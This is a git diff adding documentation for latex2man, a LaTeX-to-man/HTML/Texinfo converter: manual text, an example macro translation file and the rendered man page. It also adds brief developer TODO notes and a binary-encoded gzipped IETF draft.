+arguments. +@item \_ +is typeset as _. +@item \& +is typeset as &. +@item \# +is typeset as #. +@item \% +is typeset as %. +@item \, +is typeset as smaller blank - - (between the two -) +@item \- +is used to mark hyphenation in a word. +@item \\ +is typeset as a linebreak or marks the end of a column in the +@t{Table} +environment. +@item \ +(a \ followed by a blank) is typeset as a blank, +although it cannot be used at the beginning of a line to make indentation +(see the @t{\SP} +command). +@item ~ +is typeset as a blank. +@item \copyright +is typeset as @copyright{}. +@item \noindent +@item \hline +inside a @t{Table} +environment. +@item \item +inside a @t{itemize}, +@t{enumerate}, +or +@t{description} +environment. +@item \today +12 September 2005(see also the @t{rcsinfo} +LaTeXpackage). +@item \ss,\"a, ... +\ss = @ss{}, \"a= @"a, \"o= @"o, \"u= @"u, +\"A= @"A, \"O= @"O, \"U= @"U. It is allowed to surround these +macros in @{ and @} in all places, even inside other macros, e.g. +@* +.@ @ @ @ @ \textbf@{\"a\"o\"u\"A\"O\"U\ss@}@* +.@ @ @ @ @ \textbf@{\"a@}@{\"o@}@{\"u@}@{\"A@}@{\"O@}@{\"U@}@{\ss@}@}@* +.@ @ @ @ @ \textbf@{@}@* + +@strong{@"a@"o@"u@"A@"O@"U@ss{} @"a@"o@"u@"A@"O@"U@ss{} @"a@"o@"u@"A@"O@"U@ss{}} + +If these letters are used in their LATIN-1 8-bit coding, they are +translated into the equivalent letter of the desired output format. +E.g. @t{@"A} +becomes @t{Ä}; +in HTML and @t{@@"A} +in texinfo. +@end table + +@node Conditional Text, Translation of User Defined Macros, Accepted LaTeX Macros, Top +@subsection Conditional Text + + +latex2man +preprocesses the LaTeX input to allow text to be used +conditionally. A special sort of LaTeX comment is used for that purpose. +@itemize @bullet +@item +%@@% IF @emph{condition} %@@% +@item +%@@% ELSE %@@% +@item +%@@% END-IF %@@% +@end itemize + +A line must contain only such a comment and nothing else. @emph{condition} +is +a boolean expression containing ``names'' and operators. The names given with +the -C@var{name} +option have the value ``true'', while all other names +occuring in the expression are assumed to be ``false''. If the evaluation of +the boolean expression results in the value ``true'', the text in the +``then''-part is used and the text in the optional ``else''-part is skipped +(and vice versa). The @t{IF/ELSE/END-IF} +may be nested. As boolean +operators the following are allowed: + +@multitable @columnfractions 0.45 0.45 +@item ||@tab boolean or + +@item && @tab boolean and + +@item ! @tab negation +@end multitable + +( and ) for grouping are allowed. + +@noindent + +For example:@* + +%@@% IF abc %@@%@* + +@t{}abc set@* + +@t{}%@@% IF xyz %@@%@* + +@t{}xyz set@* + +@t{}%@@% ELSE %@@%@* + +@t{}xyz NOT set@* + +@t{}%@@% END-IF %@@%@* + +%@@% ELSE %@@%@* + +@t{}abc NOT set@* + +@t{}%@@% IF xyz || !XYZ %@@%@* + +@t{}xyz OR !XYZ set@* + +@t{}%@@% ELSE %@@%@* + +@t{}xyz OR !XYZ NOT set@* + +@t{}%@@% END-IF %@@%@* + +%@@% END-IF %@@% + +@noindent + +Run this manual page through latex2man +with e.g. +-C@var{'abc XYZ'} +and have a look to the generated output. +(If simply running the LaTeX-document through LaTeX,all lines are shown in the +.dvi file).@* + +abc NOT set@* + +xyz OR !XYZ set@* + + +@noindent + +To check the conditional text feature, when latex2man +is called with +@table @samp +@item -C@var{HTML} +the lines 1a, 2b, 3b, and 4b; +@item -C@var{TEXI} +the lines 1b, 2a, 3b, and 4b; +@item -C@var{MAN} +the lines 1b, 2b, 3a, and 4b; +@item -C@var{LATEX} +the lines 1b, 2b, 3b, and 4a; +@item calling LaTeX without preprocessing +all lines +@end table +should be shown: + +1b. The HTML conditional was not set. + +2a. This text occurs only when viewing the TEXI output + +3b. The MAN conditional was not set. + +4b. The LATEX conditional was not set. + +@node Translation of User Defined Macros, Verbatim Environment, Conditional Text, Top +@subsection Translation of User Defined Macros + + +The user macro translation file (given by the [ -t@var{transfile} ]) +contains +Perl +commands specifying the translation of LaTeX macros defined by +the user. These macros may have none, one or two arguments. The following code +is expected: + +@itemize @bullet +@item +Comments start with a # up to the end of the line. +@item +For a macro @t{\foo} with no arguments, the following code must be +specified: +@table @samp +@item Translation to Man-Pages +@t{$manMacro@{'foo'@} = '...';} +@item Translation to HTML +@t{$htmlMacro@{'foo'@} = '...';} +@item Translation to TexInfo +@t{$texiMacro@{'foo'@} = '...';} +@end table + +where @t{...} is the translation. + +@item +For a macro @t{\foo@{..@}} with one argument, the following code must be +specified: +@table @samp +@item Translation to Man-Pages +@t{$manMacro1a@{'foo'@} = '...';}@* + +@t{$manMacro1b@{'foo'@} = '...';} +@item Translation to HTML +@t{$htmlMacro1a@{'foo'@} = '...';}@* + +@t{$htmlMacro1b@{'foo'@} = '...';} + +@item Translation to TexInfo +@t{$texiMacro1a@{'foo'@} = '...';}@* + +@t{$texiMacro1b@{'foo'@} = '...';} +@end table + +where @t{...} is the translation. The @t{1a} code is used before the +argument, while @t{1b} is typeset after the argument is set. + +@item +For a macro @t{\foo@{..@}@{..@}} with two arguments, the following code +must be specified: +@table @samp +@item Translation to Man-Pages +@t{$manMacro2a@{'foo'@} = '...';}@* + +@t{$manMacro2b@{'foo'@} = '...';}@* + +@t{$manMacro2c@{'foo'@} = '...';} +@item Translation to HTML +@t{$htmlMacro2a@{'foo'@} = '...';}@* + +@t{$htmlMacro2b@{'foo'@} = '...';}@* + +@t{$htmlMacro2c@{'foo'@} = '...';} +@item Translation to TexInfo +@t{$texiMacro2a@{'foo'@} = '...';}@* + +@t{$texiMacro2b@{'foo'@} = '...';}@* + +@t{$texiMacro2c@{'foo'@} = '...';} +@end table + +where @t{...} is the translation. The @t{2a} code is used before the +first argument, @t{2b} between the two arguments and @t{2c} is +typeset after the second argument is set. +@item +The file @file{latex2man.trans} contains some example code. +@end itemize + +@node Verbatim Environment, Subsection works, Translation of User Defined Macros, Top +@subsection Verbatim Environment + + +@* +.This@* +.@ @ @ @ @{is@}@* +.@ @ @ @ @ @ @ @ \texttt@{a@}@* +.@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ $test$@* +.@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ _of_@* +.verbatim@* +.@ and@ no@ @@*@ TexInfo@ command@* + +@node Subsection works, Subsubsection works, Verbatim Environment, Top +@subsection Subsection works + + +This is a @t{\subsection}. + +@node Subsubsection works, Subsubsection still works, Subsection works, Top +@subsubsection Subsubsection works + + +This is a @t{\subsubsection}. + +@node Subsubsection still works, General Remarks, Subsubsection works, Top +@subsubsection Subsubsection still works + + +This is another @t{\subsubsection}. + +@node General Remarks, Some Bug Fix Tests, Subsubsection still works, Top +@subsection General Remarks + + +@enumerate +@item +Empty lines are typeset as paragraph separators. +@item +The arguments of the LaTeX commands must not be split over several +lines. +@item +Do not nest calls to macros. +@item +Except the mentioned environment and macros, the usage of other LaTeX +environments or macros are not translated. Their usage will cause garbage +in the output. +@item +latex2man requires Perl version >= 5.0004_03. +@item +If you want to install the system with the distributed @file{Makefile}, +you need GNU-make. +If you don't have it, you should execute the +steps shown in the @file{Makefile} +manually. +@end enumerate + +@node Some Bug Fix Tests, Requirements, General Remarks, Top +@subsection Some Bug Fix Tests + + +@table @samp +@item Leading . and ' +Now leading . and ' in generation troff output should work propperly, +since a @t{\&} is added. Therfore the @t{\Dot} macro has been deleted.@* + +Thanks to @email{Frank.Schilder@@Mathematik.Tu-Ilmenau.De}.@* + +Testcase 1: +@table @samp +@item '\n' +... +@end table +Testcase 2:@* + +@file{.foobar} +Testcase 3:@* + +... +abc ...abc . efg ' 123 + +@item % in verbatim +A % in a \verb and verbatim-environment was not +emitted correctly. Thanks to Aleksey Nogin @email{nogin@@cs.caltech.edu} +for the bug report and bug fix. + +@t{% abc} + +@* +.@ @ @ %@ abc@ %@* + +but ignore comments following this: + +@end table + +@node Requirements, Changes, Some Bug Fix Tests, Top +@section Requirements + + +@table @samp +@item Perl +latex2man +requires Perl version >= 5.0004_03. +@item Make +If you want to install the system with the distributed +@file{Makefile}, +you need GNU-make. +If you don't have it, you +should execute the steps shown in the @file{Makefile} +manually. +@item LaTeX +LaTeX2e is required. +@end table + +@node Changes, Version, Requirements, Top +@section Changes + +Please check the file @url{latex2man-CHANGES} +for the list of changes. + +@node Version, License and Copyright, Changes, Top +@section Version + + +Version: 1.19 of 2005/09/12. + +@node License and Copyright, Author, Version, Top +@section License and Copyright + + +@table @samp +@item Copyright +@copyright{}1998, Dr. J@"urgen Vollmer, Viktoriastra@ss{}e 15, +D-76133 Karlsruhe, Germany, @email{Juergen.Vollmer@@informatik-vollmer.de} + +The actual version of Latex2man +may be found on my homepage@* + +@url{http://www.informatik-vollmer.de/software/latex2man}. + +@item License +This program can be redistributed and/or modified under the +terms of the LaTeX Project Public License Distributed from CTAN archives +in directory @file{macros/latex/base/lppl.txt}; +either version 1 of the +License, or any later version. + +@item Misc +If you find this software useful, please send me a postcard from +the place where you are living. +@end table + +@node Author, , License and Copyright, Top +@section Author + + +@noindent + +Dr. J@"urgen Vollmer @* + +Viktoriastra@ss{}e 15 @* + +D-76133 Karlsruhe @* + +Email: @email{Juergen.Vollmer@@informatik-vollmer.de} +@* +WWW: @url{http://www.informatik-vollmer.de}. + +@bye +@c NOTE: This file is generated, DO NOT EDIT. diff --git a/docs/latex2man/latex2man.trans b/docs/latex2man/latex2man.trans new file mode 100644 index 0000000..42afdcb --- /dev/null +++ b/docs/latex2man/latex2man.trans @@ -0,0 +1,67 @@ +################################################################################# +# Project: Documentation Tools +# Descr: Latex --> MAN-page (groff -man), and HTML; example of user macro +# translations +# Author: Dr. Jrgen Vollmer, Juergen.Vollmer@acm.org +# $Id: latex2man.trans,v 1.1.1.1 2006/10/18 16:57:05 jacka Exp $ +################################################################################# + +################################################################################# +# translation for MAN +################################################################################# + +# LaTeX macros without arguments +$manMacro{'LaTeX'} = 'LaTeX'; +$manMacro{'LATEX'} = 'LaTeX'; # needed, since \LaTeX is contained in a + # section name (which are transposed + # into uppercase + +# LaTeX macros with one argument +$manMacro1a{'myEmph'} = '\n.IR "'; $manMacro1b{'myEmph'} = '"'; + +# LaTeX macros with two arguments +$manMacro2a{'myCmd'} = '\n.I "'; + $manMacro2b{'myCmd'} = '"\n('; + $manMacro2c{'myCmd'} = ')'; + +################################################################################# +# translation for HTML +################################################################################# + +# LaTeX macros without arguments +$htmlMacro{'LaTeX'} = 'LaTeX'; +$htmlMacro{'LATEX'} = 'LaTeX'; # needed, since \LaTeX is contained in a + # section name (which are transposed + # into uppercase + +# LaTeX macros with one argument +$htmlMacro1a{'myEmph'} = ''; $htmlMacro1b{'myEmph'} = ''; + +# LaTeX macros with two arguments +$htmlMacro2a{'Cmymd'} = ''; + $htmlMacro2b{'myCmd'} = '('; + $htmlMacro2c{'myCmd'} = ')'; + +################################################################################# +# translation for TexInfo +################################################################################# + +# LaTeX macros without arguments +$texiMacro{'LaTeX'} = 'LaTeX'; +$texiMacro{'LATEX'} = 'LaTeX'; # needed, since \LaTeX is contained in a + # section name (which are transposed + # into uppercase + +# LaTeX macros with one argument +$texiMacro1a{'myEmph'} = '@emph{'; $texiMacro1b{'myEmph'} = '}'; + +# LaTeX macros with two arguments +$texiMacro2a{'Cmymd'} = ''; + $texiMacro2b{'myCmd'} = ' ('; + $texiMacro2c{'myCmd'} = ')'; + +################################################################################# +## emacs variables +## Local Variables: *** +## mode: perl *** +## End: *** diff --git a/docs/latex2man/latex2man.txt b/docs/latex2man/latex2man.txt new file mode 100644 index 0000000..6842ebb --- /dev/null +++ b/docs/latex2man/latex2man.txt @@ -0,0 +1,750 @@ +LATEX2MAN(1) Documentation Tools LATEX2MAN(1) + + + +NAME + Latex2man is a tool to translate UNIX manual pages written with LaTeX- + into a format understood by the UNIX man(1)-command. Alternatively + HTML, TexInfo, or LaTeX code can be produced too. Output of parts of + the text may be suppressed using the conditional text feature (for + this, LaTeX generation may be used). + + +SYNOPSIS + latex2man [-ttransfile] [-HMTL] [-h] [-V] [-Cname] [-achar] infile out- + file + + +DESCRIPTION + Latex2man reads the file infile and writes outfile. The input must be + a LaTeX document using the latex2man LaTeXpackage. Latex2man trans- + lates that document into the troff(1) format using the -man macro pack- + age. + + Using the -H option, HTML code can be produced, instead of troff(1). + + Using the -T option, TexInfo code can be produced, instead of troff(1). + + Using the -M option, troff(1) input is produced. + + Using the -L option, LaTeX ouput can be produced, instead of troff(1). + + +OPTIONS + -ttransfile + Translation for user defined LaTeX macros. + + -M Produce output suitable for the man(1) command (default). + + -H Instead of producing output suitable for the man(1) command, + HTML code is produced (despite the name of the command). + + -T Instead of producing output suitable for the man(1) command, + TexInfo code is produced (despite the name of the command). The + generated .texi-file may be processed with makeinfo(1) (to pro- + duce an .info-file) which in turn may be installed using + install-info(1). The Info tags @dircategory and @direntry are + provided. + + -L The LaTeX source is written to the outfile. This is useful in + conjunction with the -Cname option. + + -Cname Output the conditional text for name. If more than one name + should be given use quotes: -C'name1 name2 ...' + The following names are defined automatically: + + * -H defines HTML + + * -T defines TEXI + + * -M defines MAN + + * -L defines LATEX + + + -achar Is used only in conjunction with -T. + Background: + TexInfo ignores all blanks before the first word on a new line. + In order to produce some additional space before that word + (using \SP) some character has to be printed before the addi- + tional space. By default this is a . (dot). The char specifies + an alternative for that first character. Giving a blank to -a + supresses the indentation of a line. + Note: only for the first \SP of a series that char is printed. + + -h Show a help text. + + -V Show version information. + + +FILES + latex2man.tex + The LaTeX file containing this Man-page. + + latex2man.sty + The LaTeX package defining the environments and commands. + + latex2man.cfg + The configuration file for Latex2man LaTeX-package. + + latex2man.trans + File containing example translations of user defined LaTeX + macros. + + fancyheadings.sty + A LaTeX package used to typeset head- and foot lines. + + fancyhdr.sty + A LaTeX package used to typeset head- and foot lines. + + rcsinfo.sty + A LaTeX package used to extract and use RCS version control + information in LaTeX documents. + + +SEE ALSO + LaTeX,TexInfo, troff(1), groff(1), makeinfo(1). + + +LaTeX COMMANDS + The LaTeX package latex2man is used to write the Man-pages with + LaTeX.Since we translate into other text formats, not all LaTeX stuff + can be translated. + + + PACKAGE OPTIONS + The latex2man package accepts the following options: + + + fancy use the LaTeX package fancyheadings. + + fancyhdr + use the LaTeX package fancyhdr. + + nofancy + neither the LaTeX package fancyheadings nor fancyhdr are used. + + The default option may be specified in the file latex2man.cfg. + + + PACKAGE SPECIFIC ENVIRONMENTS + The following environments are provided by the package: + + \begin{Name}{chapter}{name}{author}{info}{title} + The Name environment takes five arguments: 1. the Man-page + chapter, 2. the name of the Man-page, 3. the author, 4. some + short information about the tool printed in the footline of the + Man-page, and 5. a text which is used as title, for HTML and + LaTeX (it's ignored for output of the Man-page or TeXinfo. The + Name environment must be the first environment in the document. + Processing starts with this environment. Any text before this is + ignored (exception: the setVersion and setDate commands). (Note: + all arguments of \begin{Name} must be written on one line). + + \begin{Table}{columns} + The Table environment takes one argument: the number of columns. + For example: + + \begin{Table}{3} + Here & am & I \\\hline + A 1 & A 2 & A 3 \\ + B 1 & B 2 & B 3 \\ + \end{Table} + + will be typeset as: + + + Here am I + ----------------------- + A 1 A 2 A 3 + B 1 B 2 B 3 + + \hline may be used. All entries are typeset left justified. If the + Man-page is formatted with troff(1) and tables are used, the tbl(1) + preprocessor should be called, usually by giving a -t to the call of + troff(1). When viewing the generated manula page using man(1), tbl(1) + is called automatically. + + \begin{Description} + is the same as \begin{description} + + \begin{Description}[label] + is similar to \begin{description}, but the item labels have at + minimum the size of the (optional) word label. The difference + is visible only in the DVI and PDF-output, not in the troff, + TexInfo or HTML output. + + a |a \begin{description} + + ab |ab + + abc |abc + + + a |a \begin{Description} + + ab |ab + + abc |abc + + + a |a \begin{Description}[aa] + + ab |ab + + abc |abc + + + + ACCEPTED LaTeX ENVIRONMENTS + The following environments are accepted: + + * description + + * enumerate + + * itemize + + * verbatim + + * center + + They may be nested: + + * Itemize and nested center: + A centered line. + Another centered line. + + + * Another item an nested enumerate + + 1. a + + 2. b + + + + PACKAGE SPECIFIC MACROS + The following commands are provided: + + \Opt{option} + Option: \Opt{-o} will be typeset as -o. + + \Arg{argument} + Argument: \Arg{filename} will be typeset as filename. + + \OptArg{option}{argument} + Option with Argument: + \OptArg{-o}{filename} will be typeset as -ofilename. + + \OptoArg{option}{argument} + Option with optional Argument: + \OptoArg{-o}{filename} will be typeset as -o[filename]. + + \oOpt{option} + Optional option, e.g. \oOpt{-o} will be typeset as [-o]. + + \oArg{argument} + Optional argument, e.g. \oArg{filename} will be typeset as + [filename]. + + \oOptArg{option}{argument} + Optional option with argument, e.g. + \oOptArg{-o}{filename} will be typeset as [-ofilename]. + + \oOptoArg{option}{argument} + Optional option with optional argument, e.g. \oOp- + toArg{-o}{filename} will be typeset as [-o[filename]]. + + \File{filename} + used to typeset filenames, e.g. \File{filename} will be typeset + as filename. + + \Prog{prog} + used to typeset program names, e.g. \Prog{latex2man} will be + typeset as latex2man. + + \Cmd{command}{chapter} + used to typeset references to other commands, e.g. + \Cmd{latex2man}{1} will be typeset as latex2man(1). + + \Bar is typeset as |. + + \Bs (BackSlash) is typeset as \. + + \Tilde is typeset as a ~. + + \Dots is typeset as ... + + + \Bullet + us typeset as *. + + \setVersion{..} + set .. as version information. + + \setVersionWord{..} + set .. for the word Version: in the footline. The default is + \setVersionWord{Version:}. + + \Version + returns the version information. + + \setDate{..} + sets .. as date information. + + \Date returns the date information. + + \Email{..} + use to mark an Email address: + \Email{Juergen.Vollmer@informatik-vollmer.de} is typeset as: + Juergen.Vollmer@informatik-vollmer.de. + + \URL{..} + use to mark an URL: \URL{http://www.foo.de/\Tilde vollmer} is + typeset as http://www.foo.de/~vollmer. + + \LatexManEnd + the input file is read and processed until reading end-of-file + or \LatexManEnd (at the beginning of a line). LaTeXignores this + command. + + \Lbr, \Rbr + is typeset as [ and ] (these variants are needed only somtimes + like in item[FooBar\LBr xx \Lbr]. Usually [ ] will work. + + \LBr, \RBr + is typeset as { and } (these variants are needed when using { or + } as arguments to macros. + + \Circum + is typeset as ^. + + \Percent + is typeset as %. + + \TEXbr If processed with LaTeX causes a linebreak (i.e. is equivalent + to \\).In the output of latex2man this macro is ignored. + + \TEXIbr + If TexInfo output is generated, causes a linebreak (i.e. is + equivalent to \\),otherwise ignored. + + \MANbr If Man-Page output is generated, causes a linebreak (i.e. is + equivalent to \\),otherwise ignored. + + \HTMLbr + If HTML output is generated, causes a linebreak (i.e. is equiv- + alent to \\),otherwise ignored. + + \medskip + An empty line. + + \SP Produces some extra space, works also at the beginning of lines. + The code of the second line looks like: \SP abc \SP\SP xx\\: + abc xx + abc xx + abc xx + + Note: Due to some ``problems'' with TexInfo, the lines starting with + \SP have a leading . (dot) in the TexInfo output, see -achar. + + + ACCEPTED MACROS FROM THE RCSINFO PACKAGE + \rcsInfo $Id ...$ + if the LaTeX package rcsinfo is used, this command is used to + extract the date of the Man-page. + + \rcsInfoLongDate + if the LaTeX package rcsinfo is used, this command is used to + typeset the date coded in the $Id ..$ string. + + + ACCEPTED LaTeX MACROS + The following standard LaTeX commands are accepted: + + \section{..} + The section macro takes one argument: the name of the Man-page + section. Each Man-page consists of several sections. Usually + there are the following sections in a Man-page: Name (special + handling as environment, c.f. above), Synopsis, Description, + Options, Files, See Also, Diagnostics, Return Values, Bugs, + Author, version, etc. + + Synopsis must be the first section after the Name environment. + + Note: Do not use LaTeX-macrosin section names. + + \subsection{..} + works as well as + + \subsubsection{..} + those. + + \emph{..} + \emph{example} is typeset as example. + + \textbf{..} + \textbf{example} is typeset as example. + + \texttt{..} + \textt{example} is typeset as example. + + \underline{..} + \underline{example} is typeset as example of underline . + + \date{..} + uses .. as date. + + \verb+..+ + but only + is allowed as delimiter. + + $<$ is typeset as <. + + $>$ is typeset as >. + + $<=$ is typeset as <=. + + $>=$ is typeset as >=. + + $=$ is typeset as =. + + $<>$ is typeset as <>. + + $\ge$ is typeset as $>=$. + + $\le$ is typeset as $<=$. + + $\leftarrow$ + is typeset as $<--$. + + $\Leftarrow$ + is typeset as $<==$. + + $\rightarrow$ + is typeset as $-->$. + + $\Rightarrow$ + is typeset as $==>$. + + \{ is typeset as {. + + \} is typeset as }. + + \$ is typeset as $. + + \$ is typeset as $,should be used inside macro + arguments. + + \_ is typeset as _. + + \& is typeset as &. + + \# is typeset as #. + + \% is typeset as %. + + \, is typeset as smaller blank - - (between the two -) + + \- is used to mark hyphenation in a word. + + \\ is typeset as a linebreak or marks the end of a column in the + Table environment. + + \ (a \ followed by a blank) is typeset as a blank, + although it cannot be used at the beginning of a line to make + indentation (see the \SP command). + + ~ is typeset as a blank. + + \copyright + is typeset as (C). + + \noindent + + \hline inside a Table environment. + + \item inside a itemize, enumerate, or description environment. + + \today 12 September 2005(see also the rcsinfo LaTeXpackage). + + \ss,\"a, ... + \ss = , \"a= , \"o= , \"u= , \"A= , \"O= , \"U= . It is + allowed to surround these macros in { and } in all places, even + inside other macros, e.g. + \textbf{\"a\"o\"u\"A\"O\"U\ss} + \textbf{\"a}{\"o}{\"u}{\"A}{\"O}{\"U}{\ss}} + \textbf{} + + + + + If these letters are used in their LATIN-1 8-bit coding, they are + translated into the equivalent letter of the desired output format. + E.g. becomes Ä in HTML and @"A in texinfo. + + + CONDITIONAL TEXT + latex2man preprocesses the LaTeX input to allow text to be used condi- + tionally. A special sort of LaTeX comment is used for that purpose. + + * %@% IF condition %@% + + * %@% ELSE %@% + + * %@% END-IF %@% + + A line must contain only such a comment and nothing else. condition is + a boolean expression containing ``names'' and operators. The names + given with the -Cname option have the value ``true'', while all other + names occuring in the expression are assumed to be ``false''. If the + evaluation of the boolean expression results in the value ``true'', the + text in the ``then''-part is used and the text in the optional + ``else''-part is skipped (and vice versa). The IF/ELSE/END-IF may be + nested. As boolean operators the following are allowed: + + + || boolean or + && boolean and + ! negation + + ( and ) for grouping are allowed. + + For example: + %@% IF abc %@% + abc set + %@% IF xyz %@% + xyz set + %@% ELSE %@% + xyz NOT set + %@% END-IF %@% + %@% ELSE %@% + abc NOT set + %@% IF xyz || !XYZ %@% + xyz OR !XYZ set + %@% ELSE %@% + xyz OR !XYZ NOT set + %@% END-IF %@% + %@% END-IF %@% + + Run this manual page through latex2man with e.g. -C'abc XYZ' and have + a look to the generated output. (If simply running the LaTeX-document + through LaTeX,all lines are shown in the .dvi file). + abc NOT set + xyz OR !XYZ set + + To check the conditional text feature, when latex2man is called with + + -CHTML the lines 1a, 2b, 3b, and 4b; + + -CTEXI the lines 1b, 2a, 3b, and 4b; + + -CMAN the lines 1b, 2b, 3a, and 4b; + + -CLATEX + the lines 1b, 2b, 3b, and 4a; + + calling LaTeX without preprocessing + all lines + + should be shown: + + 1b. The HTML conditional was not set. + + 2b. The TEXI conditional was not set. + + 3a. This text occurs only when viewing the MAN output + + 4b. The LATEX conditional was not set. + + + TRANSLATION OF USER DEFINED MACROS + The user macro translation file (given by the [-ttransfile]) contains + Perl commands specifying the translation of LaTeX macros defined by the + user. These macros may have none, one or two arguments. The following + code is expected: + + + * Comments start with a # up to the end of the line. + + * For a macro \foo with no arguments, the following code must be + specified: + + Translation to Man-Pages + $manMacro{'foo'} = '...'; + + Translation to HTML + $htmlMacro{'foo'} = '...'; + + Translation to TexInfo + $texiMacro{'foo'} = '...'; + + where ... is the translation. + + + * For a macro \foo{..} with one argument, the following code must + be specified: + + Translation to Man-Pages + $manMacro1a{'foo'} = '...'; + $manMacro1b{'foo'} = '...'; + + Translation to HTML + $htmlMacro1a{'foo'} = '...'; + $htmlMacro1b{'foo'} = '...'; + + + Translation to TexInfo + $texiMacro1a{'foo'} = '...'; + $texiMacro1b{'foo'} = '...'; + + where ... is the translation. The 1a code is used before the + argument, while 1b is typeset after the argument is set. + + + * For a macro \foo{..}{..} with two arguments, the following code + must be specified: + + Translation to Man-Pages + $manMacro2a{'foo'} = '...'; + $manMacro2b{'foo'} = '...'; + $manMacro2c{'foo'} = '...'; + + Translation to HTML + $htmlMacro2a{'foo'} = '...'; + $htmlMacro2b{'foo'} = '...'; + $htmlMacro2c{'foo'} = '...'; + + Translation to TexInfo + $texiMacro2a{'foo'} = '...'; + $texiMacro2b{'foo'} = '...'; + $texiMacro2c{'foo'} = '...'; + + where ... is the translation. The 2a code is used before the + first argument, 2b between the two arguments and 2c is typeset + after the second argument is set. + + * The file latex2man.trans contains some example code. + + + VERBATIM ENVIRONMENT + This + {is} + \texttt{a} + $test$ + _of_ + verbatim + and no @* TexInfo command + + + + SUBSECTION WORKS + This is a \subsection. + + + Subsubsection works + This is a \subsubsection. + + + Subsubsection still works + This is another \subsubsection. + + + GENERAL REMARKS + 1. Empty lines are typeset as paragraph separators. + + 2. The arguments of the LaTeX commands must not be split over sev- + eral lines. + + 3. Do not nest calls to macros. + + 4. Except the mentioned environment and macros, the usage of other + LaTeX environments or macros are not translated. Their usage + will cause garbage in the output. + + 5. latex2man requires Perl version >= 5.0004_03. + + 6. If you want to install the system with the distributed Makefile, + you need GNU-make. If you don't have it, you should execute the + steps shown in the Makefile manually. + + + SOME BUG FIX TESTS + Leading . and ' + Now leading . and ' in generation troff output should work prop- + perly, since a \& is added. Therfore the \Dot macro has been + deleted. + Thanks to Frank.Schilder@Mathematik.Tu-Ilmenau.De. + Testcase 1: + + '\n' ... + + Testcase 2: + .foobar Testcase 3: + ... + + abc ... abc . efg ' 123 + + + %in verbatim + A % in a \verb and verbatim-environment was not emitted cor- + rectly. Thanks to Aleksey Nogin nogin@cs.caltech.edu for the bug + report and bug fix. + + % abc + + % abc % + + + but ignore comments following this: + + +REQUIREMENTS + Perl latex2man requires Perl version >= 5.0004_03. + + Make If you want to install the system with the distributed Makefile, + you need GNU-make. If you don't have it, you should execute the + steps shown in the Makefile manually. + + LaTeX LaTeX2e is required. + + +CHANGES + Please check the file latex2man-CHANGES for the list of changes. + + +VERSION + Version: 1.19 of 2005/09/12. + + +LICENSE AND COPYRIGHT + Copyright + (C)1998, Dr. Jrgen Vollmer, Viktoriastrae 15, D-76133 Karl- + sruhe, Germany, Juergen.Vollmer@informatik-vollmer.de + + The actual version of Latex2man may be found on my homepage + http://www.informatik-vollmer.de/software/latex2man. + + + License + This program can be redistributed and/or modified under the + terms of the LaTeX Project Public License Distributed from CTAN + archives in directory macros/latex/base/lppl.txt; either version + 1 of the License, or any later version. + + + Misc If you find this software useful, please send me a postcard from + the place where you are living. + + +AUTHOR + Dr. Jrgen Vollmer + Viktoriastrae 15 + D-76133 Karlsruhe + Email: Juergen.Vollmer@informatik-vollmer.de + WWW: http://www.informatik-vollmer.de. + + + + +Documentation Tools 2005/09/12 LATEX2MAN(1) diff --git a/docs/random_stuff/CODE_TODO b/docs/random_stuff/CODE_TODO new file mode 100644 index 0000000..6aae600 --- /dev/null +++ b/docs/random_stuff/CODE_TODO @@ -0,0 +1,25 @@ + +/* + * return 1 if file is readable +int file_readable(const char * /* file */); + +... +int file_writeable(const char * /* file */); + +/* + * add s->vi[?] +int add_vip(... + +get rid of dnet requirement + +hwaddr should be a link socket structure + +pcap should be fully abstracted (more) + +arp table gathering + +link layer default sockets + +all child terminates should ipc over a reson for failure (perhaps inside of the ipc message + +all child io should be optionally directed back at master for output, not local diff --git a/docs/random_stuff/NOTE_TO_SELF b/docs/random_stuff/NOTE_TO_SELF new file mode 100644 index 0000000..7baf041 --- /dev/null +++ b/docs/random_stuff/NOTE_TO_SELF @@ -0,0 +1,13 @@ +gmake isnt there, but configure thinks it is, why? (osx) +fc -p invalid .... + +!!!! suseseconds_t dont define untill last minute +!!!! TH_? Warnings + +x86_xor - pointers.... +httpexp.c -- ditto + +docs - NO LATEX required + +osx wants +setgid, setegid, setuid, seteuid in that order diff --git a/docs/rfcs/draft-ietf-tcpm-ecnsyn-00.txt.gz b/docs/rfcs/draft-ietf-tcpm-ecnsyn-00.txt.gz new file mode 100644 index 0000000000000000000000000000000000000000..a12904d139e9d0161b5122330309278c2839f8f1 GIT binary patch literal 11937 zcmV;SE?&_eiwFq)de%b%17vbxW^^rSWprjObYpOBEoEbFb9rtpFfcB3cys{meQ9sw z$dcf9V}1l-V5aRFSuR&~U9Q2-lV!O}-M*frdNsX`0wzVKB#tRkkEE33`W<3NpL>uT}*< zbeI;~^yuZwZuzZzeAsa}xJa^Xv==lGE_5CYZ%09xsCY?}Zx%5Ow$S)}0sp{sYNK+EgDlj&4yIbC_~j-}68IyC;v!74 zLPs5#E5iBOhMDRxTWUfI4cGR1oCYckvpiC1h!2#DV5~#J@>?A9tbZH4`_Lthd7F|aJ?i95HhuW*gwxWhghTEyRi zWtNr;#xg*U-~fu(s|dCn5Dc`Ds1Sd{&7T%oqT%ykx|LOUAX>sH0*RYE?!V;c^7ZRKlUV+1e*wagy6cCx>JNt+zqyd;<4kTQ3 z_X#5t*uVtPiAxOEd5*MOpE86YV4*-g@E)v)w`Nh6tJCA-&1Ta@&e_fK`7!=-d=f`T zY6?4~Lclw4&~9U<>I}hnp`vUPoX0s3WR}PJd*&?YA?EX-zpY?~00{o) zb+RRP1aI^NRQE1ZM6uE#Fd~2j=pc(6PXa8DF8aaileh2jcaUNP**|3)4RWu8JVPOY$thmM^976#`vWlJ2e=|YOj-c3!9&8K@T@7zV0lQP#E;B!;KwNeZQQ?v z#j89jf(h*FU7LXT?N-foaPoEUpZ<{S7s+M>o5eFSHl54>9}D2-1+6eeoUF36pp#7~ zG*4Tsm75G#j04RQH7}47@J+KF3#}sDx;Tx97-=t%wBffD&WYg}Fh&;#88adI#AzuL zctVA;_`CtifjaV#g#{O-%8_v*H{~TJnTmk04J2@^k(+gyrvQ2*qEMem3~HBaAZSK>M0igP zf|m;TA@Js0M{Ak}g;AWwCGyhHsUsUeHk|KSo-J{IkaBaak;l_EWowYYdd_?uCdg84 